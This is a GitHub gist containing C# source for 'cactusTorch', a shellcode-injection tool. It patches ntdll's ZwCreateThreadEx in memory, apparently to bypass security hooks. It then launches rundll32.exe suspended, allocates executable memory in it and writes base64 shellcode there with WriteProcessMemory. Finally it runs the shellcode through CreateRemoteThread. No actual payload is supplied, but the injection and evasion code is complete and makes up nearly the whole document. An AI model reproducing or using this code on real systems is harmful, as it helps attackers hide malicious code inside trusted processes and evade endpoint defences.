Skip to content

Instantly share code, notes, and snippets.

@dmchell
Last active June 29, 2021 17:19
Show Gist options
  • Save dmchell/ed828f06fb33bc7c6ca310c677bf7f67 to your computer and use it in GitHub Desktop.
Save dmchell/ed828f06fb33bc7c6ca310c677bf7f67 to your computer and use it in GitHub Desktop.
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Windows.Forms;
using System;
using System.Text;
public class cactusTorch
{
[StructLayout(LayoutKind.Sequential)]
public class SecurityAttributes
{
public Int32 Length = 0;
public IntPtr lpSecurityDescriptor = IntPtr.Zero;
public bool bInheritHandle = false;
public SecurityAttributes()
{
this.Length = Marshal.SizeOf(this);
}
}
[StructLayout(LayoutKind.Sequential)]
public struct ProcessInformation
{
public IntPtr hProcess;
public IntPtr hThread;
public Int32 dwProcessId;
public Int32 dwThreadId;
}
[Flags]
public enum CreateProcessFlags : uint
{
DEBUG_PROCESS = 0x00000001,
DEBUG_ONLY_THIS_PROCESS = 0x00000002,
CREATE_SUSPENDED = 0x00000004,
DETACHED_PROCESS = 0x00000008,
CREATE_NEW_CONSOLE = 0x00000010,
NORMAL_PRIORITY_CLASS = 0x00000020,
IDLE_PRIORITY_CLASS = 0x00000040,
HIGH_PRIORITY_CLASS = 0x00000080,
REALTIME_PRIORITY_CLASS = 0x00000100,
CREATE_NEW_PROCESS_GROUP = 0x00000200,
CREATE_UNICODE_ENVIRONMENT = 0x00000400,
CREATE_SEPARATE_WOW_VDM = 0x00000800,
CREATE_SHARED_WOW_VDM = 0x00001000,
CREATE_FORCEDOS = 0x00002000,
BELOW_NORMAL_PRIORITY_CLASS = 0x00004000,
ABOVE_NORMAL_PRIORITY_CLASS = 0x00008000,
INHERIT_PARENT_AFFINITY = 0x00010000,
INHERIT_CALLER_PRIORITY = 0x00020000,
CREATE_PROTECTED_PROCESS = 0x00040000,
EXTENDED_STARTUPINFO_PRESENT = 0x00080000,
PROCESS_MODE_BACKGROUND_BEGIN = 0x00100000,
PROCESS_MODE_BACKGROUND_END = 0x00200000,
CREATE_BREAKAWAY_FROM_JOB = 0x01000000,
CREATE_PRESERVE_CODE_AUTHZ_LEVEL = 0x02000000,
CREATE_DEFAULT_ERROR_MODE = 0x04000000,
CREATE_NO_WINDOW = 0x08000000,
PROFILE_USER = 0x10000000,
PROFILE_KERNEL = 0x20000000,
PROFILE_SERVER = 0x40000000,
CREATE_IGNORE_SYSTEM_DEFAULT = 0x80000000,
}
[Flags]
public enum DuplicateOptions : uint
{
DUPLICATE_CLOSE_SOURCE = 0x00000001,
DUPLICATE_SAME_ACCESS = 0x00000002
}
[StructLayout(LayoutKind.Sequential)]
public class StartupInfo
{
public Int32 cb = 0;
public IntPtr lpReserved = IntPtr.Zero;
public IntPtr lpDesktop = IntPtr.Zero; // MUST be Zero
public IntPtr lpTitle = IntPtr.Zero;
public Int32 dwX = 0;
public Int32 dwY = 0;
public Int32 dwXSize = 0;
public Int32 dwYSize = 0;
public Int32 dwXCountChars = 0;
public Int32 dwYCountChars = 0;
public Int32 dwFillAttribute = 0;
public Int32 dwFlags = 0;
public Int16 wShowWindow = 0;
public Int16 cbReserved2 = 0;
public IntPtr lpReserved2 = IntPtr.Zero;
public IntPtr hStdInput = IntPtr.Zero;
public IntPtr hStdOutput = IntPtr.Zero;
public IntPtr hStdError = IntPtr.Zero;
public StartupInfo()
{
this.cb = Marshal.SizeOf(this);
}
}
[Flags()]
public enum AllocationType : uint
{
COMMIT = 0x1000,
RESERVE = 0x2000,
GO = 0x3000,
RESET = 0x80000,
LARGE_PAGES = 0x20000000,
PHYSICAL = 0x400000,
TOP_DOWN = 0x100000,
WRITE_WATCH = 0x200000
}
[Flags()]
public enum MemoryProtection : uint
{
EXECUTE = 0x10,
EXECUTE_READ = 0x20,
EXECUTE_READWRITE = 0x40,
EXECUTE_WRITECOPY = 0x80,
NOACCESS = 0x01,
READONLY = 0x02,
READWRITE = 0x04,
WRITECOPY = 0x08,
GUARD_Modifierflag = 0x100,
NOCACHE_Modifierflag = 0x200,
WRITECOMBINE_Modifierflag = 0x400
}
// CreateProcessA
[DllImport("kernel32.dll")]
public static extern IntPtr CreateProcessA(
String lpApplicationName,
String lpCommandLine,
SecurityAttributes lpProcessAttributes,
SecurityAttributes lpThreadAttributes,
Boolean bInheritHandles,
CreateProcessFlags dwCreationFlags,
IntPtr lpEnvironment,
String lpCurrentDirectory,
[In] StartupInfo lpStartupInfo,
out ProcessInformation lpProcessInformation
);
// VirtualAllocEx
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAllocEx(
IntPtr lpHandle,
IntPtr lpAddress,
IntPtr dwSize,
AllocationType flAllocationType,
MemoryProtection flProtect
);
// WriteProcessMemory
[DllImport("kernel32.dll")]
public static extern bool WriteProcessMemory(
IntPtr hProcess,
IntPtr lpBaseAddress,
byte[] buffer,
IntPtr dwSize,
int lpNumberOfBytesWritten);
// TerminateProcess
[DllImport("kernel32.dll")]
public static extern bool TerminateProcess(
IntPtr hProcess,
uint uExitCode);
// CreateRemoteThread
[DllImport("kernel32.dll")]
static extern IntPtr CreateRemoteThread(
IntPtr hProcess,
IntPtr lpThreadAttributes,
uint dwStackSize,
IntPtr lpStartAddress,
IntPtr lpParameter,
uint dwCreationFlags,
IntPtr lpThreadId);
[DllImport("kernel32.dll")]
public static extern IntPtr LoadLibrary(string dllToLoad);
[DllImport("kernel32.dll")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procedureName);
[DllImport("kernel32.dll")]
public static extern bool FreeLibrary(IntPtr hModule);
[DllImport("kernel32.dll")]
public static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect);
public cactusTorch()
{
MessageBox.Show("Test", "Test", MessageBoxButtons.OK, MessageBoxIcon.Exclamation);
flame("rundll32.exe", "blab");
}
public static void flame(string binary, string shellcode32)
{
// Written by Vincent Yiu (@vysecurity)
// shellcode contains base64 shellcode
// binary contains binary to inject into
// bypass
byte[] jmp = new byte[] { 0xBA };
IntPtr a = GetProcAddress(LoadLibrary("ntdll.dll"), "ZwCreateThreadEx");
IntPtr b = GetProcAddress(LoadLibrary("ntdll.dll"), "Wow64Transition");
uint outOldProtect;
VirtualProtect(a, 10, 0x40, out outOldProtect);
Marshal.WriteByte(a, 0, 0xBA);
byte[] bVal = BitConverter.GetBytes((int)b);
for (int i = 0; i < bVal.Length; i++)
Marshal.WriteByte(a, 1+i, bVal[i]);
VirtualProtect(a, 10, outOldProtect, out outOldProtect);
//
byte[] sc = Convert.FromBase64String(shellcode32);
IntPtr size = new IntPtr(sc.Length);
StartupInfo sInfo = new StartupInfo();
sInfo.dwFlags = 0;
ProcessInformation pInfo;
string binaryPath = "";
// We check what architecture OS it is here
if (Environment.GetEnvironmentVariable("ProgramW6432").Length > 0)
{
//64 bit
binaryPath = Environment.GetEnvironmentVariable("windir") + "\\SysWOW64\\" + binary;
}
else
{
//32 bit
binaryPath = Environment.GetEnvironmentVariable("windir") + "\\System32\\" + binary;
}
// We have select the correct directory, for the executeable
// Create the Process in SUSPENDED state
IntPtr funcAddr = CreateProcessA(binaryPath, null, null, null, true, CreateProcessFlags.CREATE_SUSPENDED, IntPtr.Zero, null, sInfo, out pInfo);
IntPtr hProcess = pInfo.hProcess;
if (hProcess != IntPtr.Zero) {
//MessageBox.Show("hProcess: " + hProcess.ToString("X8"));
// Use VirtualAllocEx to create some space
IntPtr spaceAddr = VirtualAllocEx(hProcess, new IntPtr(0), size, AllocationType.GO, MemoryProtection.EXECUTE_READWRITE);
//MessageBox.Show("Virtual Alloc: " + spaceAddr.ToString("X8"));
if (spaceAddr == IntPtr.Zero)
{
// TerminateProcess incase failed to Valloc for some reason.
TerminateProcess(hProcess, 0);
}
else
{
// Use WriteProcessMemory to WRITE "POKEMON" in
int test = 0;
IntPtr size2 = new IntPtr(sc.Length);
bool bWrite = WriteProcessMemory(hProcess, spaceAddr, sc, size2, test);
//MessageBox.Show("WriteProcessMemory: " + bWrite.ToString());
// CreateRemoteThread to start it up
CreateRemoteThread(hProcess, new IntPtr(0), new uint(), spaceAddr, new IntPtr(0), new uint(), new IntPtr(0));
}
}
}
public static void Main()
{
flame("rundll32.exe", "");
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment